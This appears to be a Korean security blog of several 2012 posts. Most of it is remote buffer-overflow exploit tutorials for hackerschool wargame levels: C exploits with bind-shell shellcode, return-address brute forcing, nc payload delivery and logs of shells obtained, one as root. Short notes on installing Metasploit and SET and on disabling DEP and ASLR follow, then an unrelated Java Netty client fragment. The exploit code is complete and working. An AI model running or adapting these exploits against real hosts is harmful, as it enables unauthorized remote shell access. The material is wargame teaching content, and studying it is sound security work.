        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                printf("%p\n", Ret_Addr);
                Ret_Addr -= 4;     // 0xc0000000에서부터 4바이트씩 감소
        }
}
========================================================================
 
* 실행 결과
 
====================================
[guest@ftz lecture]$ ./exploit 
0xc0000000
0xbffffffc
0xbffffff8
0xbffffff4
0xbffffff0
... 생략 ...
====================================
 
이처럼 스택의 가장 끝 부분부터 4바이트 단위로 리턴 어드레스를 변경 해 가다 보면, 언젠가는 쉘 코드의 시작 부분을 실행하게 될 것이다. 이제 다음은 쉘 코드와Brute Force로 얻은 새로운 리턴 어드레스의 주소를 취약 프로그램으로 전송하는 단계이다. 이 부분은 nc라는 패킷 전송 툴을 이용하면 편하다.
 
◎ Exploit 작성 3단계 : 공격 패킷 전송 루틴 추가
 
========================================================================
#include <stdio.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xc0000000;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                // 공격 패킷 전송 루틴
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
        }
}
========================================================================
        
이제 위 Exploit을 실행하면, 다음과 같이 취약 프로그램의 리턴 어드레스 값을
변경해가며 공격 패킷을 전송한다. 이 과정이 계속 반복하다가 취약 프로그램의
변경된 리턴 어드레스와 쉘 코드가 위치 하게 되는 string 변수의 시작 부분이
일치하게 되면, 백도어 포트가 열리게 될 것이다.
 
========================================================================
[guest@ftz lecture]$ ./exploit 
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
0xbffff9f8
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
... 생략 ...
========================================================================
 
 Exploit을 실행한 결과,  10여분이 지난 후에 45295번 포트가 열리게 되었고, 취약 프로그램을 수정하여 string 변수의 주소 값을 출력해본 결과 0xbffff9f8이 바로 공격자가 찾아내야 했던 값이라는 것을 알 수 있었다.
이처럼 백도어 포트를 오픈 하는 바인드 쉘코드와 Brute Force를 이용하여 독립적인 네트워크 프로그램에 대한 공격을 성공시켰다. 
하지만, 어느 순간에 공격에 성공했는지를 알 수 없었기 때문에, 수시로 45295번 포트로 수동 접속을 해봐야만 했다.
그럼 이번에는 자동으로 49295번 포트로 접속을 하여, 만약 접속에 성공했다면
Exploit을 종료시키는 루틴을 추가해 보겠다. 
 
◎ Exploit 작성 4단계 : 공격 성공 여부 판단 루틴 추가
 
========================================================================
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(45295);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 0, 8);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        // 45295번 포트로 접속이 되면 성공, 안되면 실패.
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xbffffa00;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
 
                // 공격 결과 체크 루틴
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        }
}
========================================================================
 
* 실행 결과
 
========================================================================
[guest@ftz lecture]$ ./exploit 
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
0xbffff9f8
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?ltB
Exploit Succeed.!
[guest@ftz lecture]$ 
========================================================================
 
이처럼 0xbfff9f8 값에서 공격에 성공하여 45295번 포트가 열렸음을 알 수 있게
되었다. 이제 수동으로 45295번 포트에 접속하면 쉘 권한을 획득할 수 있을 것이다.
하지만, 보통 공개된 Remote Exploit을 보면, 공격 성공 후 자동으로 쉘 권한까지 띄워주도록 구현되어 있다. 마지막으로 그 기능을 추가해보자. 
 
◎ Exploit 작성 5단계 : 쉘 권한 획득 루틴 추가
 
========================================================================
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
"\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
 
void Get_Shell(int sockfd)
{
        int length;
        char data[1024];
        fd_set read_fds;
 
        while(1){
                FD_ZERO(&read_fds);
                FD_SET(sockfd, &read_fds);
                FD_SET(0, &read_fds);
 
                select(sockfd+1, &read_fds, NULL, NULL, NULL);
 
                // 소켓으로부터 data가 왔을 때의 처리.
                if(FD_ISSET(sockfd, &read_fds)){
                        length = recv(sockfd, data, 1024, 0);
                        // 받은 내용을 화면에 출력한다.
                        if(write(1, data, length) == 0)
                                break;
                }
 
                // 공격자가 키보드를 입력했을 때의 처리.
                if(FD_ISSET(0, &read_fds)){
                        length = read(0, data, 1024);
                        // 입력한 내용을 쉘백도어로 전송한다.
                        if(send(sockfd, data, length, 0) == 0)
                                break;
                }
        }
}
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(45295);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 0, 8);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                // 공격에 성공하였다면, 확인 명령을 전송하고 쉘 연결.
                send(sockfd, "uname -a;id\n", 12, 0);
                Get_Shell(sockfd);
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[320], Cmd[400];
        int Ret_Addr = 0xbffffa00;
 
        memset(Attack_String, 'A', 320);
        memcpy(Attack_String, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[316], &Ret_Addr, 4);
                Ret_Addr -= 4;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | nc localhost 31337", Attack_String);
                system(Cmd);
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        }
}
========================================================================
 
* 실행 결과
 
========================================================================
[guest@ftz lecture]$ ./exploit   
... 생략 ...
 
0xbffff9fc
당신이 입력한 문자열 : 1??F?1???켘켘켘됣낡f?1??PPfh곤쿯S됤쿞쿝Q됈됣컀?1?
1??1R됣낡f?1??0?1??PW됣낡f?1??9@1핃馨?1????1??1??1h//
shh/bin됥딻PS?
                                                                   ?1??1핃箚?
?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Linux ftz.hackerschool.org 2.4.20 #1 SMP Fri Mar 28 22:31:45 EST 2003 i686 unknown
uid=1000(guest) gid=1000(guest) groups=1000(guest)
whoami
guest
========================================================================
 
이처럼 이제 공격 성공 후 바로 쉘 권한을 획득할 수 있게 되었다. 
Exploit의 업그레이드는 이 정도면 충분할 듯하다. 이제 더욱 효과적으로 리모트 오버플로우 공격을 성공시킬 수 있는 방법이 있는지 생각해보자.

지난 Xinetd 환경에서의 오버플로우 공격에선 총 7가지 방법으로 공격을 시도 볼 수 있었다. 하지만, 독립적인 네트워크로 구현된 취약 프로그램에는 그러한 시도를 해 볼 수 있는 범위가 아주 좁게 축소된다.

 
지금 이 환경에서의 RTL 기법을 생각해보자. 단순히 라이브러리 함수들 만으로는 쉘 백도어 포트를 생성하거나, 기타 어떤 다른 응용 방법이 존재하지 않는다.
쉘을 실행하는 backdoor.sh 파일을 생성하고, system() 함수를 이용해  n.telnetd 프로그램을 실행하는 정도의 방법을 생각할 수는 있지만, 이렇게 하려면 오히려 더욱 조잡한 공격 과정이 필요해질 것이다.
 

, return address 뒷쪽으로 대량의 NOP을 넣고 그 뒤의 쉘 코드가 실행되도 하는 것도 거의 불가능하다. 왜냐하면 보통 recv() 함수의 세번째 인자에 의해 전송 받는 데이터의 총 길이가 제한되어있기 때문이다. 이 길이가 return address영역을 초과하도록 프로그래밍하는 사람은 없을 것이다.

따라서 기껏해야 데몬이 받아들이는 버퍼의 한계를 넘지 않는 범위에서 NOP추가하는 정도의 기교밖에는 기대할 수 없을 것이다.

 

 

 

Posted by k1rha
2012. 6. 21. 02:18

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

 

#define BUFSIZE 256

#define OFFSET 44

#define JUMP_OFFSET 36

 

char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

 

//31337 포트로 열리는 바인드 쉘코드 이다.

 

#define BINDPORT 31337  //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.

//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.

 

 

int main (int argc, char *argv[])

{

int sockfd; 

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];   //exploiting 할 버퍼 값

unsigned int retaddr = 0xbffffff0;  //return addr 을 계속 바꿀 주소값

char cmd[100];   //telnet 명령어를 박을 부분

 

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

 

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);  

 //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~

 

while (1) {

 

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

printf ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));  //target ip

target_addr.sin_addr.s_addr = inet_addr(argv[1]);  //target port

 

if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {

printf(“connect error”);

close(sockfd);

continue;

}

retaddr -= JUMP_OFFSET;  //JUMP_OFFSET만큼 계쏙 감소.  놉코드 개수와 일치시면 좋다.

memset(buffer, '\x90', sizeof(buffer));  //놉코드로 변수를 초기화한다.

memcpy(buffer+OFFSET, &retaddr, 4);  // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘

memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음때문에JUMP_OFFSET 50이라고 줌

 

send(sockfd, buffer, strlen(buffer), 0);  //소켓을 전송함.

 

system(cmd);  //telnet 을 시도함.

 

close(sockfd);

 

}

 

return 0;

}

Posted by k1rha
2012. 6. 21. 00:14

BOF 원정대 level20 (xavius -> death_knight)

 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

 

        int server_fd, client_fd;

        struct sockaddr_in server_addr;   //소켓  서버 구조체 선언

        struct sockaddr_in client_addr;   //소켓 클라이언트 구조체 선언

        int sin_size;

 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){  //소켓의 타입 설정(여기서는 TCP)

                perror("socket");

                exit(1);

        }

 

        server_addr.sin_family = AF_INET;   //소켓의 타입 결정 IPV4 를 의미

        server_addr.sin_port = htons(6666);   //6666포트를 열게 된다.

        server_addr.sin_addr.s_addr = INADDR_ANY; //들어오는 모든 사람들을 받아들이겠음

        bzero(&(server_addr.sin_zero), 8);  //서버의 zin_zero 부분을 0으로 초기화

 

        if(bind(server_fd,(struct sockaddr*)&server_addr,sizeof(struct sockaddr)) == -1){  //바인딩시킴

                perror("bind");

                exit(1);

        }

 

        if(listen(server_fd, 10) == -1){  //소켓을 대기 상태로 만듬

                perror("listen");

                exit(1);

        }

 

        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                  //accepte 가 될시 호출 되는 부분(즉 클라이언트의 연결이 있을시)

                        perror("accept");

                        continue;

                }

 

                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0); //40바이트 buffer 256바이트를 저장

                        close(client_fd);

                        break;

                }

 

                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}memset(buffer+40+8, 'A', 4);

 

 

리모트 BOF 문제이다.

6666포트로 들어오는 사용자들이 문자열을 입력하면 40바이트 만큼 할당된 buffer값에 recv()는 들어오는 내용중 256개를 buff에 넣기 때문에 오버플로우가 발생 하게 된다.

공격 페이로드는 다음과 같다

[buffer=40][sfp=4][ret= 4] [ argc ~~]

 Aaaaaa…..aaaaaa [&NOP] [NOP + BIND SHELLCODE]

 

버퍼을 쓰레기 값으로 체우고 ret에는 앞으로 삽입될 NOP 코드의 주소값을 가르친다.

이는 적절한 위치를 정확히 찾기 어렵기 떄문에 stack 영역을 부루투 포싱한다.

 

이후 일반 쉘코드가 아닌 31337 포트가 열리는 바인드 쉘코드를 사용한다.

부루투포싱을 손으로 할순 없으므로 간단한 소켓을 짜서 공격해보자.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

 

#define BUFSIZE 256

#define OFFSET 44

#define JUMP_OFFSET 36

 

char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

 

//31337 포트로 열리는 바인드 쉘코드 이다.

 

#define BINDPORT 31337  //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.

//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.

 

 

int main (int argc, char *argv[])

{

int sockfd; 

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];   //exploiting 할 버퍼 값

unsigned int retaddr = 0xbffffff0;  //return addr 을 계속 바꿀 주소값

char cmd[100];   //telnet 명령어를 박을 부분

 

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

 

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);  

 //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~

 

while (1) {

 

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

printf ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));  //target ip

target_addr.sin_addr.s_addr = inet_addr(argv[1]);  //target port

 

if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {

printf(“connect error”);

close(sockfd);

continue;

}

retaddr -= JUMP_OFFSET;  //JUMP_OFFSET만큼 계쏙 감소놉코드 개수와 일치시면 좋다.

memset(buffer, '\x90', sizeof(buffer));  //놉코드로 변수를 초기화한다.

memcpy(buffer+OFFSET, &retaddr, 4);  // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘

memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음. 때문에JUMP_OFFSET 50이라고 줌

 

send(sockfd, buffer, strlen(buffer), 0);  //소켓을 전송함.

 

system(cmd);  //telnet 을 시도함.

 

close(sockfd);

 

}

 

return 0;

}

 

 

 

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

telnet: Unable to connect to remote host: Connection refused

Trying 220.95.152.26...

Connected to 220.95.152.26.

Escape character is '^]'.

id

: command not found

id;

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)

: command not found

my-pass;

euid = 520

 

Posted by k1rha
2012. 6. 19. 23:45

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 6. 19. 03:48

Metasploit Framework 우분투에 설치하기


-루비 의존패키지 설치 

subversion ruby rubygems ruby-openssl libopenssl-ruby 

===========================================================


#sudo apt-get install ruby

#sudo apt-get install rubygems

#sudo apt-get install ruby-openssl

#sudo apt-get install libopenssl-ruby

#sudo apt-get install irb

#sudo apt-get install ri

#sudo apt-get install libyaml-ruby



#sudo apt-get install subversion

#sudo apt-get install build-dep ruby

#sudo apt-get install ruby-dev libpcap-dev


==============================================================



SVN 을 이용하여 메타스플로잇의 코드들을 가져온다 

===============================================================

svn co https://www.metasploit.com/svn/framework3/trunk/

$ mv trunk metasploit  최신에서는 svn을 이용하지 않고 메타익스플로잇 공식 사이트에서 다운받게 된다.


#wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run



$ cd metasploit

$ ./msfconsole


IIIIII    dTb.dTb        _.---._

  II     4'  v  'B   .'"".'/|`.""'.

  II     6.     .P  :  .' / |  `.  :

  II     'T;. .;P'  '.'  /  |    `.'

  II      'T; ;P'    `. /   |    .'

IIIIII     'YvP'       `-.__|__.-'


I love shells --egypt



       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]

+ -- --=[ 884 exploits - 482 auxiliary - 145 post

+ -- --=[ 251 payloads - 28 encoders - 8 nops

       =[ svn r15468 updated today (2012.06.18)


msf >

----------------------------------------------------------------------------------------

명령어 사용법

1.use 

use 명령을 이용하면 원하는 모듈을 선택할 수 있고 그 명령과 관련된 커맨드로 들어간다. 

2.back

특정 모듈작업을 완료했거나 실수로 잘못된 모듈을 선택했다면 현재 선택된 모듈 밖으로 나가야 한다. 이 때 사용하는 것이 back 이다. 


3 check   

타켓의 시스템이 실제로 취약점을 가지고 있고 공격이 가능할 것인가 체크하는 명령어이다. 


4 connect 

msfconsole에 내장된 소형 netcat이라고 보면 된다. 

ssl과 프록시를 지원하고 ip와 port 정보를 넣고 connect를 하면 연결할 수 있다.    

netcat, ftp, telnet 등 원격 호스트에 연결할 수 있다. 


6 jobs 

jobs는 백그라운드로 실행되는 모듈의 작업을 도와준다. 

옵션을 이용해 목록을 볼 수도 있고 종료할 수도 있다.


7 load 

load는 플러그인 디렉토리에서 플러그인을 로드하는 명령어이다. 

기본 플러그인 디렉토리는 /opt/framework3/msf3/plugins 이다. 


8 unload 

load명령어로 로딩된 플러그인을 제거할 때 사용하는 명령어이다.


9 loadpath 

metasploit은 정의된 디렉토리에서 여러가지 정보를 가져오는데 제 3의 디렉토리에서 exploit, encoder, payload 등의 정보를 가져올 때 사용하는 명령어이다. 


10 info

이 명령은 모듈의 여러가지 정보를 볼 때 사용한다. 

보통 옵션이나 취약점을 가지고 있는 시스템의 종류 등을 확인할 때 유용하게 사용된다. 


11 show 

show 명령은 각종 정보의 리스트를 보고 싶을 때 사용한다. 

show auxiliary , show exploits , show payloads , show encoders , show nops 

위에 나열한 것처럼 사용할 수 있다. 


-------------------------------------------------------------------------



=========================================================================



SVN 을 이용하여 메타스플로잇의 SET 을 가져온다 (이는 악성코드같은것을 만들때 쓰인다)


=========================================================================

svn co http://svn.secmaniac.com/social_engineering_toolkit set/


이후 config 파일을 수정해야한다 


#cd config

#vi set_config


METAEXPLOIT PATH =  [절대경로 메타스프로잇 ]

=========================================================================




Posted by k1rha
2012. 6. 16. 15:41

[출처 : hackerschool.org]


gcc -o bookw0rm b.c -fno-stack-protector -z execstack -fno-builtin -mpreferred-stack-boundary=2


                         [스택 보호 ]                [스택 실행= DEP]           [까나리 해제]



dep 없애기
echo 0 > /proc/sys/kernel/exec-shield

ASLR 없애기
echo 0 > /proc/sys/kernel/exec-shield-randomize
sysctl -w kernel.randomize_va_space=0

Posted by k1rha
2012. 6. 14. 11:17


[출처 ] http://shonm.tistory.com/entry/JAVA-netty-%EB%B9%84%EB%8F%99%EA%B8%B0-%EC%9D%B4%EB%B2%A4%ED%8A%B8-%EB%B0%A9%EC%8B%9D-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%ED%94%84%EB%A0%88%EC%9E%84%EC%9B%8C%ED%81%AC-%EC%82%AC%EC%9A%A9%EB%B2%95-2-client



바로 이어서 client 로직을 올려 봅니다.

여기도 2개의 클래스 입니다.

첫 번째로 이벤트 핸들러 클래스 입니다.

package com.incross.netty;

import org.jboss.netty.buffer.ChannelBuffer;
import org.jboss.netty.buffer.ChannelBuffers;
import org.jboss.netty.channel.Channel;
import org.jboss.netty.channel.ChannelFuture;
import org.jboss.netty.channel.ChannelFutureListener;
import org.jboss.netty.channel.ChannelHandlerContext;
import org.jboss.netty.channel.ChannelStateEvent;
import org.jboss.netty.channel.ExceptionEvent;
import org.jboss.netty.channel.MessageEvent;
import org.jboss.netty.channel.SimpleChannelHandler;

public class SimpleClientHandler extends SimpleChannelHandler{


@Override
public void messageReceived(ChannelHandlerContext ctx,MessageEvent e){
ChannelBuffer response = (ChannelBuffer)e.getMessage();

byte[] message = response.array();

System.out.println("message:"+new String(message));
//response 메시지 찍어보기
if(new String(message).equals("server write test")){
//어떤 조건이 들어왔을 때 종료 되는 로직
Channel ch = e.getChannel();

ch.close();

System.out.println("closed");
}


}

//connection 연결 하면 바로 데이터 전송 하도록 하는 메소드
@Override
